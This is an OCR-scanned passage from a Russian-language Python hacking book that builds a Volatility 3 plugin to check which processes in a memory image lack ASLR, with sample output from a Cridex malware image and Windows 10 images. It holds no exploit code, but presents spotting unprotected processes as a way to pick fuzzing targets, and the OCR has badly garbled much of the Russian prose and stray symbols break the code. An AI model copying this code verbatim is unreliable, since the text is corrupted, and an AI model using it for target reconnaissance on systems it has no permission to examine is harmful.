vollog.error(f"Process {proc_id}: invalid address {e}
in layer {e.layer_name}")
continue

peb = self.context.object( ®
self.config[ 'nt_symbols'] + constants.BANG + "_PEB",
layer_name = proc_layer_name,
offset = proc.Peb)

try:
dos_header = self.context.object(
pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER",
offset=peb.ImageBaseAddress,
layer_name=proc_layer_name)
except Exception as e:
continue
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pe_data = io.BytesIO()
for offset, data in dos_header.reconstruct():
pe_data.seek(offset)
pe_data.write(data)
pe_data_raw = pe_data.getvalue() ©
pe_data.close()

try:

pe = pefile.PE(data=pe_data_raw) @
except Exception as e:

continue

aslr = check_aslr(pe) ©

yield (@, (proc_id, ®
procname,
format_hints.Hex(pe.OPTIONAL_HEADER.ImageBase),
aslr,

))

MpbI cosfraeM crieraibHyIo CTPYKTYPY JJAaHHBIX 1101 Ha3BaHUEM pe_table_name @,
KOTOpasi KCIOJIb3YEeTC st TIPU 00XO0J1€ KasKI0TO MPOIIECCa, 3arPysKEHHOTO B TTAMSITh.
3ateM GepeM GJI0K OTepalinoHHOTO OKpYy:keHust mpoiiecca (Process Environment
Block, PEB), pescrasistioniuii co60it 0COOBIN PETHOH MAMSITH, U COXPAHSIEM €r0
B 00beKkT @. PEB — 9T0 CTPYKTypa JaHHbIX, COAepKaIlas MHOKECTBO ITOJIE3HBIX
JAHHBIX O TEKYIEM Iporiecce. Mbl 3aITUChIBAEM ITOT PETHOH MaMATH B (haiiio-
nono6ublii 06bekT (pe_data) O, cosmaem 06bekT PE ¢ momobio 6ubanorexn
pefile @ u mepezaeM ero BCIIOMOraTeJIbHOMY MeToNly check_aslr ©. B 3aBepiire-
HU€e BO3BPAIIlaeM C TIOMOII[bIO KJTI0UeBOTO cjioBa yield kopTex ¢ ID n Hazpanuem
mporiecca, aapecoM, 0 KOTOPOMY OH Pa3MeleH B MaMATH, & TAKKe JOTHIECKUM
pe3yaIbTaToM TTPOBepKHU Ha Hammane 3amuTsl ASLR G.

TbHprCOSHaﬂHNIMeTOﬂPun,KOTOpONQIHeHyHﬂﬂ)HHK&KHXBprMBHTOB,TaKKaK
BCE TTapaMeTpbl YKa3aHbl B 00beKTe config:

def run(self):
procs = pslist.PsList.list_processes(self.context, ©
self.config["primary"],
self.config["nt_symbols"],
filter_func =
self.create_pid_filter(self.config.get('pid', None)))
return renderers.TreeGrid([ @
("PID", int),
("Filename", str),
("Base", format_hints.Hex),
("ASLR", bool)],
self. generator(procs))
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MpbI TToJTy9aeM CITUCOK ITPOTIECCOB € ITOMOTIIBIO MTOAKII0YAEMOTO MOy I pslist @
1 BO3BpalllaeM JaHHble U3 reHepaTopa, UCIOJAb3ysa METOJ IpelCcTaBIeHUA
TreeGrid @. Meroj TreeGrid MpUMEHSIETCSI BO MHOTHX TIOIKII0YaEMbIX MOJLy-
JIIX, TTO3BOJISIS BBIBOJIUTH POBHO 110 OHOU CTPOYKE C Pe3yAbTaTaMMU JIJIsT KasK0TO
[IPOAHAIU3UPOBAHHOTO IIPOIECCa.

MpoBepka HANUcCAHHOrO

[Tpoananusupyem oiH U3 00pasoB, JOCTYIHBIX Ha caiiTe Volatility, — Malware —
Cridex. ITepenaiite cBoOeMY MOAKIIOYAEMOMY MOJYJIIO KJIIOU -p € IIyTEM K CBOEI
nanke plugins:

PS>vol -p .\plugins\windows -f cridex.vmem aslrcheck.AslrCheck
Volatility 3 Framework 1.2.0-beta.l

Progress: 0.00 Scanning primary2 using PdbSignatureScanner
PID Filename Base ASLR

368 smss.exe 0x48580000 False
584 csrss.exe 0x4a680000 False
608 winlogon.exe 0x1000000 False
652 services.exe 0x1000000 False
664 lsass.exe 0x1000000 False
824 svchost.exe 0x1000000 False
1484 explorer.exe 0x1000000 False
1512 spoolsv.exe 0x1000000 False
1640 reader_sl.exe  0x400000 False
788 alg.exe 0x1000000 False
1136 wuauclt.exe 0x400000 False

Kax Bumute, 510 cucrema Windows XP 1 HU OZUH U3 IIPOIECCOB HE 3alKIIEH
¢ omo1ipio ASLR.

A nanee nokasan pesyabrar 1 Windows 10 cpasy 1ociie ycTaHOBKH U CO BCEMU
0OHOBJICHUAMU:

PS>vol -p .\plugins\windows -f WinDev20@7Eval-Snapshot4.vmem aslrcheck.AslrCheck
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner
PID Filename Base ASLR

316 smss.exe Ox7ff668020000 True

428 csrss.exe Ox7ff796c00000 True

500 wininit.exe Ox7ff7d9bco0o0 True

568 winlogon.exe 0x7ff6d7e50000 True

592 services.exe 0x7ff76d450000 True

600 lsass.exe Ox7ff618320000 True

696 fontdrvhost.ex ©x7ff65ce30000 True
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728

svchost.exe

0x7ff78eed000o

True

Volatility was unable to read a requested page:
Page error 0x7ff65f4de0ee in layer primary2 Process928 (Page Fault at entry
0xd40c9d88c8ak0400 in page entry)

* Memory smear during acquisition (try re-acquiring if possible)
* An intentionally invalid page lookup (operating system protection)
* A bug in the plugin/volatility (re-run with -vvv and file a bug)

No further results will be produced

31ech He TaK y>K MHOTO ToJie3HoM nHbopMariuu. Kaxapiii mpoiiecc 3aliuiieH ¢ mo-
mortbio ASLR. Ho TyT Takske HabiogaeTcss MOANMUKAIINS JaHHDBIX, BBITOJTHEHHAS
B MOMEHT cO3/1aHust 00pasa maMsTu. B pesysibrare cogepKuMoe TaOIUIbl HaMsITH
He COBIIAJIAeT ¢ CAMOM MaMSTHIO UJIH K€ YKa3aTeJ Il B BUPTYaJbHOU TaMSATH MOTYT
CCBLTAThCS He Ha Te JaHHbIe. XaKePCTBO — HEMpocToe 3audaTre. Kak oTMeuaeTcs
B OITUCAHUH OINUOKH, BBl MOJKETE MOMBITATHCST TOBTOPHO TTOIYYUTH 00pa3 MaMsITH
(HalTH UM CO3/IATh HOBBI CHUMOK).

[Tpoanamsupyem JeMoHCTpamoHHbIil 06pa3 PassMark Windows 10:

PS>vol -p .\plugins\windows -f WinDump.mem aslrcheck.AslrCheck
Volatility 3 Framework 1.2.0-beta.l
Scanning primary2 using PdbSignatureScanner

Progress:

PID

356

2688
2800
5932
5380
3376
6976
9336
9932
2192
7688
7736

0.00
Filename

smss.exe
MsMpEng.exe
SecurityHealth
GoogleCrashHan
SearchIndexer.
winlogon.exe
dwm.exe
atieclxx.exe
remsh.exe
SynTPEnh.exe
explorer.exe
SynTPHelper.ex

Base ASLR
Ox7ff6abfco000
Ox7ff799490000
ox7ff6ef1e0000
0xed000o
Ox7ff6756e0000
Ox7ff65ec50000
Ox7ff6ddc80000
Ox7ff7bbc30000
Ox7ff736d40000
0x140000000
0x7ff7e7050000
Ox7ff7782e0000

True
True
True
True
True
True
True
True
True
False
True
True

IToutu Bce mpoteccsr 3anumniensl. 3amuTel ASLR HeT TosbKo y SynTPEnh. exe.
ITouck B MHTEpHETE TTOKA3BIBAET, YTO ITO IIPOTPAMMHBIN KOMIIOHEHT yCTPOMCTBA
Synaptics Pointing Device, koTopoe, HaBepHOEe, TIpeIHA3HAYEHO JIJIsT CEHCOPHOTO
skpana. Ecsiu on ycranossien B C:\Program Files, ¢ H1M, ckopee Bcero, Bce B TI0-
psifiKe, HO, BO3MOJKHO, €r0 CTOUT OTJIOKUTH HA IIOTOM JIJIsl IIPOBEPKU METOIOM
dazsunra.
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B oroil raBe BB yBUAEAN, KaK MIPUMEHATH Gorarbie BodMoskHocTu Volatility
NI TTOJIy9eHUs TOMOJTHUTETbHON MHPOPMAIUK O TIOBEJCHUN MTOJIb30BaTEIS
U CETEBBIX COEIMHEHMSX, a TaK/Ke aHaM3a JaHHbIX J1000T0 Ipollecca, 3arpy-
JKEHHOTO B MaMsiTh. DTU CBEJEHUsI MOTYT IIOMOYb BaM Jiydllle y3HATh CBOIO
JKEPTBY U €€ KOMIIBIOTEP, a TaK/Ke TIOHATh 06pa3 MbIIILIEHUs TeX, 00eceuynBaeT
6€e30IacHOCTb.

Y10 ganblue

Bol yike mosmkHbl ObLTH 3aMeTUTD, uTO Python — orsmmubiii sI3bIK 17151 B3JIOMA,
0COOGEHHO YUUTHIBAsI MHOTOUHUCJICHHbBIE OUOIMOTEKN 1 (hPEHMBOPKHU, KOTOPBIE
1J1s1 Hero JocTyHbL. HecMoTpst Ha TO 4To Xakepsl HMEIOT B CBOEM PacIIOPsKeHNN
OrPOMHOE KOJIMYECTBO FOTOBBIX MHCTPYMEHTOB, HAIIMCAHNE COOCTBEHHbBIX CKPHII-
TOB — BOMCTHHY HE3aMEHUMbIII HABBIK, TO3BOJISIONIHIT T/Iy0Ke TOHSTD, YTO 9TH
WHCTPYMEHTBI Ha CAMOM JieJie JIeJIaloT.

He crout meammts! Hanuimmre WHCTPYMEHT, OTBEYAIOIINI BalllUM KOHKPETHBIM
tpeboBanusaM. ITo MoxkeT 6biTh SSH-kauent aisg Windows, Be6-ckpeiinep win
cucTeMa i yaJeHHOro yipasieHus — Python Bac He moasener.
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